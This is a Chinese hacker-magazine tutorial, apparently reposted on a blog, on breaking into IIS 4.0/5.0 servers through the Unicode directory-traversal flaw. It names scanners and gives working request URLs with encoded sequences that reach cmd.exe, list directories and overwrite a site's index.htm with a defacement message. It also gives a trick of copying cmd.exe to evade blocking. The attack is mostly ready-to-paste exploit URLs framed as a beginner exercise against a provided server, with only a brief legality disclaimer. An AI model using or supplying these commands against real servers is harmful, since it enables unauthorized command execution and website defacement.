IIS漏洞入侵

硬功夫栏目
《黑客营》网站:http://cpcw.com
《黑客营》论坛:http://cpcw.com/bbs
感谢中国网管联盟提供支持(www.BitsCN.com)
为了满足广大读者的要求,本报《硬功夫》栏目再次与大家见面了。
本次我们为你准备了八期的黑客系列选题,旨在带领大家完成对一些主流技术提升,我们会详细地介绍新近阶段最火热的黑客事件,并对它的攻击技术进行分析解说。
为了便于读者研究和学习,我们为大家提供了一台服务器作为模拟的攻击环境,只要你按照我们的分析步骤操作,就可以体验全新的黑客旅程,享受黑客的激情与兴奋。
让我们充分发挥互动力量,赶快进入我们的互动频道。
编辑提醒:由于本系列以攻击实例为主,所以请广大读者严以自律,仅作技术研究,不得用于非法行为。

IIS漏洞入侵
特约作者:木木
本期任务:成功入侵栏目提供的服务器,并替换网站aa.feedom.net的首页。

IIS(Internet Information Server)作为当今流行的Web服务器之一,提供了强大的Internet和Intranet服务功能。IIS主要通过端口80来完成操作,具有很大的威胁性,因为作为网络服务器80端口总要打开的。一直以来攻击IIS服务是黑客常用惯用的手段,那年中美撞击事件后出现的中美黑客双方的攻击就频繁用到了IIS漏洞进行入侵的个案,这种情况现在还依然存在,只怪公司企业领导以及网管同志们对这些安全问题太不关注的原因造成的。


一、漏洞说明
针对IIS的攻击方式可以说是五花八门,使用大量的数据请求,使IIS超负荷而停止工作,是初级黑客的必修课程。不过鉴于篇幅不对IIS的攻击做详细介绍,而是说说入侵IIS。IIS有十多种常见漏洞,但利用最多的莫过于Unicode解析错误漏洞。微软IIS 4.0和IIS 5.0在Unicode字符解码的实现中存在一个安全漏洞,导致用户可以远程通过IIS执行任意命令。当IIS打开文件时,如果该文件名包含unicode字符,它会对其进行解码,如果用户提供一些特殊的编码,将导致IIS错误的打开或者执行某些web根目录以外的文件。我们今天就着重来讲讲这个。

二、UNICODE漏洞的原理
很久以前发现IIS 4.0和IIS 5.0在UNICODE字符解码的实现中存在一个安全漏洞,导致用户可以远程通过IIS执行任意命令。当IIS打开文件时,如果该文件名包含UNICODE字符,它会对其进行解码,如果用户提供一些特殊的编码,将导致IIS错误的打开或者执行某些Web根目录以外的文件和程序。
对于IIS 5.0/4.0中文版,当IIS收到的URL请求的文件名中包含一个特殊的编码例如"%c1%hh"或者"%c0%hh",它会首先将其解码变成:0xc10xhh, 然后尝试打开这个文件,Windows系统认为0xc10xhh可能是UNICODE编码,因此它会首先将其解码,如果 0x00<= %hh < 0x40的话,采用的解码的格式与下面的格式类似:
%c1%hh -> (0xc1 - 0xc0) * 0x40 + 0xhh
%c0%hh -> (0xc0 - 0xc0) * 0x40 + 0xhh
因此,利用这种编码,我们可以构造很多字符,例如:
%c1%1c -> (0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = '/'
%c0%2f -> (0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = '/'
攻击者可以利用这个漏洞来绕过IIS的路径检查,去执行或者打开任意的文件。
此漏洞从中文IIS4.0+SP6开始,还影响中文WIN2000+IIS5.0、中文WIN2000+IIS5.0+SP1, 中国台湾繁体中文也同样存在这样的漏洞。
在NT4中/编码为%c1%9c
在英文版里: WIN2000英文版%c0%af
在中文win2k里:%c1%1c
此外还有多种编码,不一一阐述。
本文例子均以win2k为准,其他类型请自行替换。

三、判断漏洞是否存在
如何判断漏洞是否存在,有一种方法就是找出一款该漏洞的扫描器来进行扫描。我们知道,扫描并不是一个真正的黑客攻击行为,它只是一种寻找入口的方式。IIS的Unicode漏洞扫描器有很多,如“RangeScan”或者是“unicodeScan”都可以进行扫描以收集服务器信息。还有些综合性的扫描软件除了能发现unicode漏洞之外,同时也会收集服务器的其它漏洞。这儿我们提供了一款远近闻名的扫描器[X-Scan]供大家下载试手:
下载地址:http://bitscn.com/upload/X-Scan-v3.1-cn.rar
我们也可在IE浏览器里输入以下语句来进行判断:
http://aa.feedom.net/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
学过dos的应该可以看懂,其实就是利用当中的非法请求使我们可以连到system32下,如果inetpub/目录不和winnt同盘,或者目录级数有改动,可能会引起请求失败。
如果存在漏洞,那么在浏览区可看到如下类似信息:
Directory of C:/inetpub/scripts
2005-03-05 15:49 〈DIR〉 .
2005-09-05 15:49 〈DIR〉 ..
是不是有自己机器的感觉了,正点!就是这种感觉!
cmd.exe相当与dos里的command.com,因此,我们可以执行很多命令了!
大家请注意:/c后面的+,实际上,他就是空格,请记牢!dir开始就是dos命令了,会dos的朋友一定懂其意义了,不懂的请去看书。
不用说,大家也知道我们就可以利用它来对有漏洞的机器展开攻击了!

四、修改网站首页
步骤一:确定网站首页名称
一般默认首页为index.htm,index.html,index.asp,default.htm,defautl.html,default.asp中的一个,我们可以通过测试来确定首页名称:
http://aa.feedom.net/index.html
http://aa.feedom.net/default.asp
http://aa.feedom.net/index.htm
通过上面三个网址的测试,很快我们发现只有第三个网址可以打开正常,说明这个网站的首页名称为index.htm。
步骤二:原理说明
好了那么我们就修改它吧!
最方便的方法:echo法:echo是一个系统命令,主要用于设置回应开关。
echo test >c:/autoexe.bat就是把test加入autoexec.bat里并删除原有内容
echo timedate >>c:/autoexec.bat就是加入timedate但不删除原有内容
明白了吗?接下来我们就可以逍遥的改了。
步骤三:更改网站首页
http://aa.feedom.net/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+echo+ HaHaThisismyhack +>c:/inetpub/wwwroot/index.htm
IE浏览器返回来的结果可能为以下两种情况之一:
1.HTTP 500 - 内部服务器错误
2.The parameter is incorrect.
通过返回信息的提示以及我们对cmd的分析得出,可能是命令语句中参数错误,加入"符号再试试
1. http://aa.feedom.net/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+echo+ HaHaThisismyhack +>c:/inetpub/wwwroot/index.htm
这条命令表示把HaHaThisismyhack加入到index.htm文件并删除原有内容
2.http://aa.feedom.net/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+echo+ by2005-3-9+>>c:/inetpub/wwwroot/index.htm
这条命令表示把by2005-3-9加入到index.htm文件中,但不删除原来内容
如果正常,上面两条语句的回应应该都为cgi错误,这表示语句执行成功了:)系统只是程序性报个错误,不用理会.
现在我们再来打开网站aa.feedom.net看看吧,^-^ 怎么样了,哈哈是不是被你改掉了?不错吧,而在实际操作中,可能这个方法也会失效,这时,我们就可以copy cmd.exe 为另一个exe,记住路径,用copy后的来echo 例如:
http://aa.feedom.net/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+cmd.exe+c:/a.exe
http://aa.feedom.net/scripts/..%c1%1c../a.exe?/c+echo+hackedbycshu+>c:/inetpub/wwwroot/index.htm

四、总结
上面的内容都很简单,很适合初学者,还望高手们不要见笑。但这只是IIS漏洞的开始,想要进阶就必须掌握原理及基础。
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值